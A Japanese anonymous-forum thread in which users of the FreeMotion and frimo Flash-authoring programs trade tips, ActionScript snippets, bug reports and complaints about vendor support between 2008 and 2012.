まあ俺は本家持っててフリモ使ってないから問題ないんだけどなw

421 :08/05/30
>>420
本家って、Macromedia社のでしたっけ?いいなぁ…
それと、もうちょっと詳しいことがわかりました。
「一方の端点にキーフレームがない場合、キーフレームを挿入すると落ちる」
●:キーフレーム
→:トゥイーン
【例1】この場合、どこにキーフレームを挿入しても落ちる
●――――――→
【例2】この場合、どこにキーフレームを挿入しても落ちない
●―――――→●
【例3】この場合、左半分ではキーフレームを挿入しても落ちないが、
    右半分にキーフレームを挿入すると落ちる
●―→●――→
これって、私のところの環境だけなんでしょうか…。

422 :08/05/30
>>419>>421の状態でやってみたけどまったく問題なかったw
ちなみに環境はOS:winXP SP2 でソフトはフリモ1のほう。
でも重いFLASHを作ってたらシンボル移動で30秒、
モーショントゥイーン入れるのに1分とかかかったから
FLASH8に買い換えたw

423 :08/06/01
すみません。初心者でたくさん質問ありますがよろしくお願いします
作ってるページ、またはシーンだけプレビューする方法ってありますか?
確認するのにいちいち初めからプレビューって大変なので…
あと、ブリトラのコンビニみたいに歌に合わせて絵をかくばあいとか
どうしたらいいのか見当つかなくて困ってます
はじめに絵とか書いてフラッシュ作っとかないと
歌を入れてもプレビューしても歌が流れないし
あと、歌をイベントで指定すると声が変になるのは仕様ですか?
教えてください

424 :08/06/02
>>423
現物UPして。
あとまぁ、音楽に合わせてやる場合は、AS使うからgotoAndPlay();とか、
変数とか、getTimer();とか覚えれば、あとは簡単にあわせられるよ。
まぁ、AS使って、強制的にフレームを飛ばすという物だけど、使えるよ。

425 :08/06/08
なんというか、解析でFlashの勉強できてかなりActionScriptも覚えました。
で、本家(CS3)を学割版(アカデミック)で買おうかと思ってるんだけど、
FREE MOTIONのライセンスどうしようか。

426 :08/06/08
俺もフリモから本家にしたけど、一応フリモは入れてるよ。
spfはたまーに編集するからねw
でも本家はかなり重いからフリモを二度と使わないといいきれるなら
フリモは消したほうがいいかもしれないね。
まだ解析とかするなら入れといて損はないけどw

427 :08/06/08
>>426
PenMにMem2GBで何とかできますかねぇ・・・?

428 :08/06/08
連投すみません。
IllustratorCS2やPhotoshopCS2は、それなりに動きます。

429 :08/06/08
>>427う〜ん・・・どうだろう・・・
俺CPU関係まったく知識ないもんだからw
ほかのスレで聞いてみてくださいw

430 :08/06/08
>>429
Ok、ありがとう。
まぁ、フリモでも書き出しがやたらと重い作品ばかり作るもんだから
慣れてしまったし、重いのには気が付かないかもしれんw

431 :08/06/13
質問です
今日体験版をおとしました。
それで、次のようなことが出来ないかといじり始めました。
1、二つのムービー素材(AとB)を用意してAだけ表示、再生の途中でBに切り替えると今まで再生した時間分からBが再生される。
2、それをA⇔Bをいつでも好きに入れかえる。
3、ムービーの上に表示、非表示が選べる文字を出す(レイヤーみたいな感じ?かな)
flash自体も、はじめてなのでこういうことが出来るのかどうかもまだわかりません。
是非、助言をお願いしたいです。

432 :08/06/13
>>431
ムービークリップを作れば、あとは工夫次第でどうとでもなるよ。
ActionScriptでムービークリップのタイムラインを細工して前後を入れ替えるか、
ただ単純にムービークリップを片方だけ非表示にするか(_visible)。
動的テキストを使えば、ActionScriptからテキストの内容を変更可能。
そこにボタンをかぶせてスイッチにすればOK。
まぁ、まずはムービークリップを動かすことから始めたらいいよ。
ActionScriptのことなら、ここいらへんだね。
http://hakuhin.hp.infoseek.co.jp/main/as.html

433 :08/06/14
>>432
ありがとうございます。勉強します

434 :08/06/29
これってテキストを改行したり下の行を上に
戻したりすると勝手に文字が消えない?
どう考えても不具合だよなこれ

435 :08/07/05
Flash CS3買ったよ。
本家は違うね、MCの編集も画面切り替わらないし。
ぼかしとか表現の幅もあるし、携帯向けにも書き出せる。
ただ、落ちるときがOSごとというのがさすが本家orz
本家より、FreeMotionの方がシンプルで使いやすい。
機能では負けるけど。

436 :08/07/16
ぼかしならかんたんWebアニメーションでもできるのになww

437 :08/07/17
>>436
あんなツールはいらん。.aiもまともに読めないのは制作に不利すぎるだろ。

438 :08/07/17
フリモ3マダァ-? (・∀・ )っ/凵⌒☆チンチン

439 :08/07/21
今年の1月にメールフォームで聞いたけど発売日未定だってw

440 :08/07/30
Free Motion 2とMotion Decompiler 2の違いってなんですか?
よくあるテンプレをDLしてきて編集したいのですがどちらがいいのでしょう?

441 :08/07/30
>>440
Free Motion 2 →解析機能付きのFlashエディタ
Motion Decompiler 2 →Flash(.swf)をFlash用ドキュメント(.fla)に変換する。
何にも持ってないんなら、Free Motion 2で決まり。
もし、FlashMX2004以降を持っているんなら、Motion Decompiler 2を使えばいいよ。
ただし、もしActionScript3.0でやりたいのなら、Motion Decompiler 2
で書き出した「.fla」をFlash CS3 Professionalで編集するしかないね。

442 :08/07/30
>>441
わかりやすいレスありがとうございます。
Flashのソフトは何も持ってません。
Motion Decompiler 2でもfla編集できると思ってました汗
Free Motion 2にします。

443 :08/08/02
フリモ2の体験版落としたよ。
結構本家と似てるねw絵も描きやすくなったww
だが自動にシンボル化されるのはやめて欲しい・・・w

444 :08/08/02
>>443
グラフィックにするかどうかは、パレットで設定可能だよ。
と、マジレス。

445 :08/08/03
>>439
えーまじで?ぜひ出してほしいねー!こっそり開発中だといいな!
>>443
絵とか描くんだったらInkscapeとかで描いてからsvgに書き出したのを読み込んだほうがいいかも

446 :08/08/05
>>444 パレットで設定しましたwこれはもう本家だろwww
1使ってた俺涙目ww
>>445 何気Inkscape持ってるwwぼかしかけられるからいいよねw

447 :08/08/15
>>442
紛らわしいので、Motion Decompilerのスレを立てておいたよ。
[.swf→.fla]Motion Decompilerについて語るスレ
http://pc11.2ch.net/test/read.cgi/swf/1218770851/l50

448 :08/08/15
>>447  スレ立て乙ですw

449 :08/08/15
>>448
スレタイがすべてを物語っている。

450 :08/09/10
Motion Decompilerについて語るスレが18で落ちてるw

451 :08/09/10
この板でも落ちるんだ〜
レス数が足りなかったん?

452 :08/09/17
FreeMotion2単体でactionscriptの記述で
ぼかしや影、等のフィルタ適用は可能ですか?
import flash.filters.DropShadowFilter;
var dropShadow:DropShadowFilter=new DropShadowFilter();
↑本家のimportできれば可能なんですかね?
それなら本家使うか。。orz

453 :08/11/02
3マダァ-? (・∀・ )っ/凵⌒☆チンチン

454 :08/11/11
ホームページビルダー11付属バンドル版Free Motionを持っているのですが
・このASを用いて正規のAS2.0を使った時と同様の方法でphpとデータのやり取りをする事はできますか?
・点数、遊んだ人の名前程度の軽いデータをサーバに残すようなゲームを作ろうとした場合に困る事はありますか?
>>333 >>334 >>335さんの記事読ませてもらったんですが、
結局「ADOBEの正規FLASH作成ソフト」「Free Motion」「Free Motion2」ではASの機能の
「具体的に」どこが違ってくるのでしょうか。できれば教えていただけますでしょうか
一応ググったり、本家サイトなど結構調べたりしたつもりなんですが、なかなか見つからない(;;
是非よろしくおねがいしますm(_ _)m

455 :08/11/11
スクリプトかけば最新のFlashなみのこともできる
しかしそれにはコンパイラが必要
だからフリモだとできないこともいろいろある
スクリプトがしがしかくなら
オプソの開発者向けコンパイラのほうが高機能だろう

456 :08/11/11
>>455
たしかにそういうのは、AS3.0でなら可能だけど、
そうなると、かなり目が疲れるようなテキスト製作の過程を経ることになる。
かなりしんどいよ、むしろプログラミングといっていいほどだし。
>>454
Flash7系がAS2.0で、Flash8系がAS2.1だから、
Flash7まででしか書き出しできないFreeMotion2は、もちろん2.0をフルサポート。
でも、今のところAS2.1の追加要素はノンサポート。
安いツールでAS2.0を書くなら、フリーモーションじゃないかね?
AS2.1を書くならFlash8 BESICを、AS3.0書くならFlashCS3Proだろうね。

457 :08/11/11
ありがとうございます!
とりあえずFreeMotion2があればActionScript2.0リファレンスガイドをみながら
機能を余すことなく使えるというところでしょうか。
FreeMotion1はどうなんでしょう。。
FreeMotion1がAS2.0微妙なら2を買おうと思っております

458 :08/11/12
>>457
Flash8のAS2.1の追加要素が書けないのを忘れないように。

459 :08/11/13
FREEMOTIONで描いたベクタ画像って、SVGとかに書き出せたりする?

460 :08/11/13
>>459
無理っぽい。
というか、そもそもそれは、本家でも無理。
どうしても出力したいなら、FlashCS3とIllustratorCS3の両方が必要。

461 :08/11/18
ttp://www.yanhee.net/ にあるような、マウスオンでサブメニューが表示されるFlashを
作りたいと思い、FreeMotion2の体験版をダウンロードして先述のサイトのSWFファイルを
読み込みましたが正しく動作しません。
通常版なら問題なく解析できるのでしょうか。

462 :08/11/19
>>641
Flashバージョンが7となっているので、解析には対応してる。
実際解析すると、メニューの作動がややおかしい以外あってる。
まぁ結論は、製品版でも簡単に直せるレベルの間違いのある解析結果が出るということ。
でも、これを参考にしたくないというのが正直なところ。
ちょっと見たくも無いような構造になってる、それがヤバイ。
この構造では作りにくい事この上なく、参考にならないので、
もっと参考になる構造のFlashを探した方がいいよ。

463 :08/11/19
ありがとうございます。なんとかメニューの動きをもどそうとあちこちいじってみましたが
挫折してしまいました・・・どこを修正すればいいか助言いただければ有難いです。
同じような動きをするFlashも探してみます。

464 :08/11/20
>>463
多分、ボタンのASの扱いと、
メニュー用MCのstop();の位置と扱いがおかしいんだと思う。
日本国内の商業用サイトをめぐった方が、
解析しやすく、クオリティーが高いFlashに出会う可能性が高いと思うよ。

465 :08/11/27
ブラシツールとか使って1本線引くたびに勝手に
変形ツールに移動するのってなんとかならないの???
致命的欠陥だろこれ

466 :08/11/28
>>465
(*^ー゚)つ[Flash CS3 Pro]

467 :08/11/29
>>466 でも、もうじきCS4が・・・w

468 :08/11/29
>>465
ロックすれば良いのでは・・・?

469 :08/11/29
>>465
そういや、ロック機能あるの忘れてたw
勝手に本家Fla薦めてごめん。
ちなみに、本家はデフォルトでロック状態。

470 :09/01/30
フリーのフラッシュ編集ソフトを探してみたら
普通にフリモ2よりも高性能なのを見つけて泣いた

471 :09/01/30
>>470
高性能でも使いやすいかどうかは別・・・だと思う。

472 :09/01/30
フリモ2ガイドブックパック買ってきたよー
とりあえず何しようか・・・

473 :09/01/31
>>470
なんていうソフト?
3はやっぱ出ないのかなぁーずっと待ってるんだけど…

474 :09/02/27
比較して一概に高性能とはいえないですが、suzukaはswf8ファイルの書き出しや
オブジェクトカラーとベースカラーのブレンド(乗算や比較明暗)ができますね。
もっとも描画ツールが無い点や、同一フレーム上の複数オブジェクトを一括してプロパティ変更ができない点
整列ツールを実装していない点などは作業効率上問題で、
仕事で使うとしたらけっこう厳しいと思うんですが、
基本的なところは工夫次第でほとんどクリアできちゃうので、
実際無料っていうのは偉大だと思いますsuzukaは。
ところでSothink SWF Quickerの4.0って出てますね。
ざっとみたところでは、Flash 8の書き出しとか、ビジュアルエフェクト、AVIへの書き出しとか
そのあたりの新機能が搭載されているようですね。
freemotionへのローカライズはどうなってるんでしょうね。
前バージョンはどの程度の遅れでローカライズされたんでしょう?

475 :09/03/22
>474
ローカライズの遅れ云々あるけど、日本語以外で新しいの出てる?
ttp://www.namo.co.kr/
ttp://www.namo.co.kr/freemotion/
FreeMotionの作成元ってここだよな。
ハングル読めないから 細かいこと分かってないが。
ページは残ってても既に製品一覧からは はずされてるし
3なんて作ってないんじゃねとか思ってたんだけど。

476 :09/03/22
って、SourceTecのほうだったのか、、、orz
使用許諾とかは NAMOのほうで出てたので勘違いスマソ。

477 :09/03/25
フラッシュが高いのでフリモに切替えを検討してます。体験版を使ってみました。
フリモは書き出しはswfファイルのみなんでしょうか?
フラッシュはジフアニメやavi、movで書き出したり、特定のフレームを
画像ファイルにしたりできたんですが。体験版のため機能が限定的なのかな?

478 :09/03/25
いや、フリモはSWFとEXEだけだな。
ちなみにフリモの体験版は制限ないよ。
(吐き出したときにロゴが付くのは体験版の仕様だけど)

479 :09/03/26
>>478
そうなんですか。そこら辺も本家より安い理由かな。
SWF以外の使用には変換ソフトが必要という事ですな。レスありがとうございます!

480 :09/04/27
このスレを見て持ってるのを思い出してインスコしようとしたらシリアルキー無くしてた

481 :09/05/24
今ベクターでダウンロード版が2990円で売ってるね
この値段なら買ってみてもいいかな

482 :09/06/07
>>481
2990円じゃねーじゃん。

483 :09/06/09
買ってみたけど2台目にはインストールできなかったよ。

484 :09/06/28
フリモにSwfit3Dで作ったデータ読み込めるのかな?

485 :09/06/28
フリモ3が来るな

486 :09/06/28
う〜む…、マクロメディアの頃からFlash使ってるけど(もう10年位経つかな?)
アドビに移行してからも持ってるんだけど…、FreeMotionやMotionMakerなど
のほうがある程度の仕事なら簡単だからこっち使っちゃうんだよね。
シリアルはディスクのなるべく中心に小さく貼っておくと、なくさないよ。

487 :09/06/29
名前変えたんだな。

488 :09/07/03
FreeMotion2からフリモ3への乗り換えは、アップグレード版でOKですか?

489 :09/07/03
ついにフィルタがついたか。すごいなフリモ3。
ちょっと羨ましくなってきた。

490 :09/07/08
一番でかいのがavi出力だな。
ようやくニコニコ用の動画を作れる

491 :09/07/14
本日限りだよ
ttp://jp.giveawayoftheday.com/sothink-swf-quicker/

492 :09/07/18
Frimo3で発行設定でFlash9、Actionscript3.0を選択した後、
シンボルにリンケージでクラス名をつけると必ずコンパイルエラーになるんだが、
理由がわかる人いる?
「エラー: source-path のファイルには、外部から可視的な定義が必要です。ファイル内の定義が外部から可視的であることを意図している場合は、パッケージ内に定義を配置してください。」が出る場合がある。

493 :09/07/18
自己解決した。
flex-config.xmlのsource-pathが正しくなかっただけだった。
FreeMotion関係なかったわorz
スレ汚しスマソ

494 :09/07/25
フリモ3でActionScriptで使うのにリンケージしようと
ActionScript用に抽出をチェックしてもattachMovieできない
いろいろやってるとランタイム共有のために出力をチェックしないと
ActionScriptでリンケージできないことがわかった
(ランタイム共有の出力をチェックしてればActionScript用に抽出は
チェックしなくてもいい)
これって、、バグな気がするんだけどどうなのかな

495 :09/10/09


496 :09/12/09


497 :09/12/11
初期のFREE MOTIONで作ったSQFをfrimo3体験版で読み込んでムービー(AVI)出力試してみたんだけど、
XVid -> 100%アプリケーションエラーで落ちる
無圧縮 -> なぜか最初の10フレームを繰り返すAVIが完成
プレビューやSWF出力では問題ない。
SQFが悪いのか、ムービー出力機能が微妙なのかよくわからないけど残念だ。

498 :09/12/12
2から3の違いがいまいち分からない

499 :09/12/13
frimo3でサブクラスを作成しようとしているのですが、シンタックスチェックで
「エラー: MyMovieClip, ライン2: クラスまたはインタフェース'MovieClip'を読み込めませんでした。」
などのエラーが出力されてしまいます。
'MovieClip'以外のトップレベルクラスのサブクラス定義でも同様のエラーが出ます。
サブクラスの定義はできないのでしょうか?
class MyMovieClip extends MovieClip
{
var mcName:String;

function MyMovieClip(str)
{
mcName = str;

}

function Motion()
{
}


}

500 :09/12/30
Flash作成を始めようと思いましてソフトを選択中なんですがFrimo3に興味がわきました。
ムービーをFlashに変換できたり、ゲーム作れたりと多彩な機能があるようですが
使っている方感想とか聞かせてください。

501 :09/12/30
>>500
ここ読んどくといいよ。
ttp://ascii.jp/elem/000/000/434/434319/
結構遊べるソフトなんだけど、FLASH自体が下火だからか
スレも伸びないねぇ。

502 :09/12/30
過去に本家Flash使ってたから問題なくfrimo使ってるけど、
入門だと解説書少ないのがネックかもね。

503 :09/12/31
>>502
便乗ですまない
比べて本家で出来る事はFrimoでも出来る感じ?

504 :09/12/31
いや、そりゃ本家には全然及ばないと思うよ。操作性や細かなツール類とか特にね。
ただ、Flashってツールの機能に頼るより、魅せ方とか動きは経験によるものだと思うんだよね。
だから慣れてる人ならfrimoでも充分なもの作れるっちゃ作れる。
例えば、パソコン持ってない初心者にいきなりネットブックの購入は奨めないよね。DVDドライブとかないし。
使い慣れてる人ならネットブックも活用できるけど、はじめての人はオールインワンにしとけっていう。
うまい例えじゃないし個人的な感想だけど、俺はfrimoはそういうソフトだと思ってる。
間違っても安価に本家Flashと同等のものが手に入るって手放しに喜ぶソフトじゃあない。
てか、frimo3は体験版あるから、あとは自分で試してみるよろし。

505 :10/01/01
成程、操作性以外は工夫次第で何とかなりそうだね。
ありがと

506 :10/01/02
体験版のヘルプ見ても公式サイトのFAQに繋がるだけなんですが私だけ?
細かいヘルプとかチュートリアルは無いのでしょうか?
なんとか道場しかない?

507 :10/01/07
>>506
ヘルプで公式サイトにつながるのは製品版も同じなので仕様ですね
前のバージョンのヘルプは結構使えました
前バージョンとそれほど内容に変化はないので一通りの機能はそれでわかると思います
ただ前バージョンの体験版が今手に入るのかどうかですね

508 :10/01/07
>>506
あとアプリケーションフォルダに英語版のヘルプはあります

509 :10/01/07
>>498
Support ActionScript 3.0;
Support the OS of Windows Vista 64-bit.
Support importing or exporting the movies of Flash CS3 (V9), Flash CS4 (V10) version;
Added Straight, Smooth and Ink modes for the Pencil tool;
Added a Smoothing option for the Brush tool.
です

510 :10/01/07
>>508
リンクをたどっていったら詳しいチュートリアルがありました!
ttp://www.sothink.com/tutorials/swf-quicker-tutorials.htm
全部英語ですけど無いよりましです。
ありがとうございました。

511 :10/01/07
>>510
以前に情報収集していたとき、
sothinkのサイトのサポートフォーラムはけっこう参考になりました。
チュートリアルの方ははじめてみましたが図も多いし良さそうですね。

512 :10/01/10
>>510
これはありがたい。感謝。

513 :10/02/10
只今PCの修理中なので、携帯から失礼します。
OSがWINDOWS7でもfrimo3は動作するのでしょうか?
修理が終わったら、PC(OSはWINDOWS7)にインストしようかと考えているので…。
改行見辛くて申し訳ありません。

514 :10/02/10
うん

515 :10/02/21
おお、いつの間にフリモ3が出てたのか。
AVIとジフの書き出しは嬉しいな。
自宅のPCではフリモ使ってます。
何気にベジェ曲線の使い方は本家よりフリモの方が好きだったりする。

516 :10/04/05
AS3上でtraceできないのはなんとかされたい
本家は対策したバージョンアップしてるのに

517 :10/04/12
フリモ2のパッチ、どこかにないでしょうか? 文字化けしてて。。。

518 :10/04/29
フリモ2にて、ビデオ編集後swf書き出し中にランタイムエラー。
しかも、容量大きくなると保存も出来なくなるエラーを発見。
キーフレーム操作するだけでもエラー起こるし、
20回ぐらい操作すると即フリーズするし……。

519 :10/05/09
ここのメーカーはパッチ出さないの?
出したことある?

520 :10/05/09
>>519
普通に出してる
ユーザー登録すると専用ページからダウンロードできる

521 :10/05/12
早速フリモ2登録したら
「アップデータはありません」
「サポート終了製品です」
だとよwwww
1年前に普通に売ってたんだぞ?ありえねぇこのメーカー・・・・・・
>>520
お前の糞情報のおかげでオクで売れなくなっただけだよしね

522 :10/05/12
>>521
確認してきた
初代のパッチは普通にダウンロードできたから、2はそもそもパッチ出てないんじゃない?
AHSに直接聞いてみるのが確実だけど
3が出てるんだから2のサポートが終了してるのはおかしくないと思うが

523 :10/05/13
バージョンが上がったらサポート終了なんてどう考えてもおかしいでしょ。
例えば明日フリモ4が出たらもうフリモ3のサポート終了なんですよ
こんなことするメーカー他にある?
俺はこんなこと初めて体験した

524 :10/05/13
>>523
遅かれ早かれ旧製品のサポートが終了するのは当たり前でしょ
永久にサポートしてくれるメーカーなんてものがあるなら教えてくれ

525 :10/05/14
なんで永久サポートの話?話をすり替えんなお前社員か?
バージョンアップでサポートを打ち切る体制を非難してんだよ
去年フリモ2買った奴も沢山いるはず。俺もそう。しかも業務で使ってんだよ
過疎ったオンラインゲームと同じ感覚で打ち切ってんじゃねーよバカ野郎。

526 :10/05/14
>>525
あんたが言ってるのはバージョンアップして「すぐ」打ち切られるのが問題ってこと?
俺は少なくともwindows98が今でもサポートされてるなんてことはないでしょって話をしてるんだけれども
それにサポートがなくても使うぶんには問題ないじゃない
俺だって初代フリモとMM使ってるぜ

527 :10/05/17
windows98はすでにどのソフトもほぼ使えないし、サポート以前に使う奴はいない。
需要があればXPのようにサポート延長してんだろうが

528 :10/05/17
一方フリモはどうだ。Flash Playerが下位互換である以上その理論は当てはまらない
AS2で十分なのになんで1メーカーにAS3を強制されなきゃないけないんだあほか。

529 :10/05/17
もう話かボケボケでなにを嘆いてるのかさっぱり判らないんだがw
>AS2で十分なのになんで1メーカーにAS3を強制されなきゃないけないんだ
????

530 :10/06/07
frimo3 plus出たみたいだけど、素材がついてきてるとこだけが違うのかな
普通のfrimo3買っても、無償パッチでplusと同じになるんだよね?
あと、ガイドブックつきのやつって本は「はじめてのfrimo3」なの?

531 :10/06/07
今回のアップデータ
[新機能と改良点]
・Windows 7に対応
・Flash Lite 2.0/2.1/3.0形式の出力、編集に対応
・ペンツール、インクボトルツールを改良
・frimo 3をインストール時に、自動でFLEX SDK、Java Runtime Environmentのダウンロードと組み込みを行うように改良
・"シンボルに変換"ダイアログ内で、シンボルの中心位置を調整できるように改良
・スポイトツールでオブジェクトの塗りつぶしや線のスタイルも抽出できるように改良
・スナップ機能の改良
[修正点]
・テキスト編集時にエラーが発生することがあった問題を修正
・テキストにエフェクトを付加するとエラーが発生することがあった問題を修正
・選択ツールで線を選択できなかった問題を修正
・一つのムービーがタイムライン上に隙間なく配置されている場合、出力時にエラーが発生することがあった問題を修正
・構文チェックの為の"trace"コマンドが使用できなかった問題を修正

532 :10/07/14
Frimo3をWinXP-Proで使っています。
シンボル化したオブジェクトを分解して単なるオブジェクトにするには
どうしたら良いでしょうか?
FlashCS4とかなら、編集→分解で出来るのですが、Frimo3の場合が
分かりません。

533 :10/07/16
エラーやバグだらけのFreeMotion2を使っているのですが、急にペンツールがイカれました。
直線はOKですが曲線を描こうと(クリック→スライド)すると、なぜか絶対的に点線が左へまっすぐ伸びます;
こういうバグ起きた人他にいらっしゃいますか?
そして、FreeMotion3ではFreeMotion2のあらゆるバグは改善されているのでしょうか?

534 :10/07/16
↑ペンツールがイカれてる と書きましたが、実際はムービークリップがおかしいようです。
ムービークリップを作成しブラシツールで縦に線を描いていくと、あら不思議、
1秒毎に線が左に「びょ−ん」と伸びますw
以前は、こういう事なかったんですがねぇ・・・

535 :10/07/18
ごめん!本当にごめん!教えてくださいどうかお願いします!
フリモ2で作ったファイルを、フリモ3体験版でためしにI変換をしようとしてるんですが、
お勧めのコーデックを教えてもらえませんでしょうか。
ちなみにニコでUPする動画するのが目的です。
初めて動画作るので、フリモに適したコーデックなら、こちらの皆様がよくご存じかもと思って書き込みしてます。
ご面倒ならスルーしてください。ごめんなさい・・・

536 :10/07/18
orz すみません、さげ間違えた…申し訳ないです…

537 :10/08/08
Frimo2なんですがステージに置いた素材をドラッグして移動させると
素材が消えてしまったり、ありえない形に変形してしまうのは仕様ですか?

538 :10/08/13
>>537 僕も同様のバグが起こります。しかも、素材が消える以外に、レイヤー内の物を別タイムラインに移動したらいきなり、強制終了したりします。
大きいファイルを作成したら素材を動かすだけで、3分ほどフリーズします(他ソフトは起動していない)
本家Flashシリーズではその様なことは起こりませんし、動きもスムーズに行えます。
動画などを入れても止まることもなく、大きいファイルもさくさく処理しています。
これだけ不具合がでているのに、サポートページには全くアップデータもありません。
次バージョンが出てすぐに不具合をほったらかしにして、アップデータ公開しないとか本当に考えられません。
脆弱性があったらどうするのでしょうか。
やはりほったらかしでしょうか?
金だして使っているんだから、不具合があればすぐに修正するのが常識ではないのでしょうか。
こんな不具合バグバグソフトを世間に売りさばき、不具合無視するとか本当にぼったくりだと思います。
サポートも最低三年はするべきだと思います。
最後に聞きますがもう、本家に乗り換えた方が良いでしょうか?

539 :10/08/25
むずかしすぎる、画像の位置変えるとX1560646に飛んでくし

540 :10/08/27
ひでえメーカーだな

541 :10/09/02
それじゃお前が作ればいいじゃないか

542 :10/09/27
アドビフラッシュを入れたあとにフリーモーション入れるとこのバグがでるね・・・
リカバリしでもだめだわ 使用してる設定かなんかが被ってるのかもしれないけど
詳しい人このバグの回避方法しらないの?

543 :10/09/27
ライブドア系列の会社が開発してたみたいだし しかもその赤字部門だったもんなぁ・・・
ライブドアはなくなってしまったし アニメ制作に一番使えるフリーモーション2は64bitに
対応してないってもうだめだね firimo3は明らかに出来損ないだし

544 :10/09/27
アドビ社だけに印刷ソフトと同じでシェアが偏れば イラレやフォトショップと同じで
独占化によって価格が同じように高まるな なんかありそうだわ

545 :10/10/18
以前は普通に動いていたのにアドビフラッシュいれたら フリーモーションが>>537
の状態になった リカバリーしてもしかも直らない アドビがフラッシュのシェア高めるために
他の製品動かなくしてるとしかおもえんわ マクロメディアのフラッシュなんて今の半分以下の値段だったのに 
アドビがks過ぎるだろ やることがえげつないんだよ 印刷ソフトを独占したように手段選ばずフラッシュソフトも独占化
するつもりか きたねーんだよ ぜったいアドビなんか買うか きたねえことしてるからジョブスにもそっぽ向かれるんだよ
つぶれろ くそアドビ

546 :10/10/18
>リカバリーしてもしかも直らない
いったいこいつはなにをリカバリーしてるんだろ?w
>542-545
言ってることがむちゃくちゃだなw同一人物だろw

547 :10/11/03
どっか飛んでく問題だけどさ、サポートに聞いたら古いfrimo3が
新しいFlash Playerに対応してないからだってさ。
アップデートしたら普通に直ったけど、アップデートしてみれば?

548 :10/11/04
>>521

549 :11/03/10
FREE MOTION 2でゲームを作ってるところなんですが、
ゲーム内のデータを保存する手段は無いでしょうか?
FLASHの仕様でセーブ出来ないようなのですが、
クッキーを利用すれば簡易的にできるという話も聞いたのですが、
具体的な方法をわかる方いないでしょうか?

550 :11/03/11
はやくおしえて(ハート)

551 :11/03/12
>>549
SharedObjectでぐぐれ
このソフト持ってるけど今つかってないんで対応してなかったらごめん
まあたぶん対応してると思うけど

552 :11/03/14
フリモ3初回盤が安く売ってたので、Silverlight目当てで買って見たがなんだこれ。
値段の割にすげえ高機能じゃん。
二万くらいで、最新版flashproのクローンも出さないかしら

553 :11/05/26
フリモ3はほんとにFlash player10.1に
対応してるんでしょうか。アップデータを入れて
「発行」>「発行の設定」>バージョン「Flash Player 10」を選んで
発行してもまともに動作しない。家にあるPCはほとんど10.1で困ったwww
Flash Player 8で発行して、IEのプレイヤーが6だと正常に動作するwww
会社の人は見てないよねえ、ここは。

554 :11/05/26
>>549
亀レスですが、データベースとPHPでセーブできると思われ。
ほかのユーザの操作と関係ないなら、ユーザのPCにファイルを残すという手も。
AS2.0だとクッキーは操作できないようだ。ファイルでどうぞ。

555 :11/05/29
frimo3ってfrimo2であったバグは改善されてるの?
体験版のだと相変わらず絵が壊れるんだけど・・・
frimo1が使い勝手良くて気に入ってるからバグが直ってれば3使いたいんだけどどうなんだろ

556 :11/06/13
Free Motion 2 久しぶりに製作にかかったら
画像動かすだけで消える
線書こうとすると知らん領域から伸びてくる
なんだかもうぐっちゃぐちゃ
再インスコしてもだめ
すげーーーー腹立つ!!!!!!
フリも3でたらもう動かなくなる仕様ですか?

557 :11/06/13
ぁ、既出すまん

558 :11/06/14
てst

559 :11/06/14
てst

560 :11/06/19
フリモメーン!助けてー!!
って呼ぶと担当の人が出てくれば楽なんだが・・・

561 :11/06/23
担当の人なのかよっ!w

562 :11/07/06
ひでえメーカーだな

563 :11/07/06
同じAHSでもMusicMakerだったら野生のサポートが直ぐに答えてくれるんだがなw

564 :11/07/07
製品の問い合わせをしようとしたら
「サポート番号が正しくありません」
なにか間違ったかと思ってもう一回打ち直す
「サポート番号が正しくありません」
100回見直しても間違った箇所が確認できないけど
「サポート番号が正しくありません」
ワロタ・・・ワロタ・・・・・

565 :11/07/14
w

566 :11/10/12
Furimo3買ったんだけど…聞きたいことありますか?

567 :11/10/13
あげ
Furimo3買ったんだけど聞きたいことある?

568 :11/10/29
freemotion2とfurimo3もってるんだけど、このソフトって64bitで動くんでしょうか?

569 :11/10/30
64bitねぇな、わからん

570 :11/10/30
つttp://www.ah-soft.com/faq/index.html#faq2

571 :11/11/21
>>568>>569 トンクス
公式ではサポートされてないらしいけど 64ビットパソコンで2も3も動きました。

572 :11/11/21
>>570 ありがトン

573 :11/11/27
体験版もアップデートされてたから
サポート登録する必要なかったかもしれん

574 :11/11/30
これでアプリケーション作る方法思いついた フリモで作ったswfファイルをフラッシュデベロップで
air apkファイルに変えれば adobe純正のフラッシュじゃなくてもappファイルが作れる・・・ 

575 :11/12/08

ワイは日本人やが聞いた情報によると、もうじき中国はバブルがはじけて昔の貧乏な中国に戻るらしいで
みんな知ってる通りもう経済は破綻してて、取り戻すのは無理なんだそうや
その世界ではごっつい有名な政府関係者筋から聞いた確かな情報やで
まあお前ら頭の良い連中には、今さらなくらいのネタやな、
お前らからすればもう常識的なくらいの知識やろ?





576 :11/12/12
そやな

577 :12/02/27
Frimo3買ったんだけどもしかしてこれビットマップキャッシュ使えない?

578 :12/03/16
カラーパレットの明度とか彩度らへんにビットマップ読み込むスライドあったような
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